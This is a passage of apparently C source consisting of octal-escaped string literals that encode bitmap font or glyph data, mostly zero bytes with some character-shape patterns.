\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\10\\34\\34\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\370\\14\\6\\3\\1\\1\\1\\1\\3\\2\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\6\\14\\10\\370\\10\\10\"\n  \"\\14\\4\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300@    `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\"\n  \"@_\\361@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\237\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\300`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\363\\36\\4\\6\\2\\2\\2\\6\\4\\36\\363\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\31\\17\\4\\14\\10\\10\\10\\14\"\n  \"\\4\\17\\31\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0 `\\340\\240 \\0\\0\\0\\0\\0 \\240\\340` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\203\\216\\230\\360\\300\\360\\230\\216\\203\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\204\\204\\204\\204\\377\\204\\204\"\n  \"\\204\\204\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\20\\30\\10\\10\\10\\10\\10\\10x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<\"\n  \"fB\\303\\203\\6\\14\\30\\20\\60`@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\0\\0\\1\\3\\2\\6\\14\"\n  \"\\30\\370\\10\\10\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0 pp \\0\\0 pp \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300@`   `@\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\360\\34\\7\\1\"\n  \"\\360\\30\\14\\6\\2\\2\\2\\4\\36\\0\\0\\1\\7\\34\\360\\0\\0\\0\\0\\0\\3\\16\\30\\60aCF\\314\\210\\210\\210\\314\"\n  \"FB`\\60\\30\\16\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@`  `\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\34\\66\\42\\42\\62\\26\\77  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300`\\60\\30\\14\\4\\200\\300`\\60\\30\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\2\\7\\17\\30\\60`\\300\\202\\7\\17\"\n  \"\\30\\60`\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\"\n  \"\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\"\n  \"@@@@@@@@@@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300@`     `@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\370\\16\\3\\1\"\n  \"\\0\\2\\376\\2\\2\\2\\206\\314x\\0\\0\\1\\3\\16\\370\\0\\0\\0\\0\\0\\3\\16\\30\\60`H\\317\\211\\201\\201\\203\\206\"\n  \"\\314H`\\60\\30\\16\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0`````````\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\\30\\10\\10\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\3\\16\\30\\20\\20\\20\\30\\16\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0  \"\n  \"     \\377       \\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@O@@\"\n  \"@@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0@p\\30\\10\\10\\30\\260\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\300`\\70\\14\\6\\3\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 \\60\\30\\10\\10\\30\\60\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0@\\300\\200\\2\\2\\207\\315x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@`\\60\\30\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377p\\300\\200\\200\\200\\200\\300\"\n  \"`\\60\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\60\\30\\10\\10\\370\\10\\10\\10\\370\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\"\n  \"<\\60``@\\377\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\"\n  \"\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\0\\2\\3\\2\\2\\2\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\20\\27\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\30\\10\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300@` `@\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\7\\35\\20\\60 \\60\\20\\35\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\"\n  \"\\30\\60`\\300\\200\\4\\14\\30\\60`\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\17\\7\\202\\300\"\n  \"`\\60\\30\\17\\7\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\20\\30\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300`\\70\\10\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  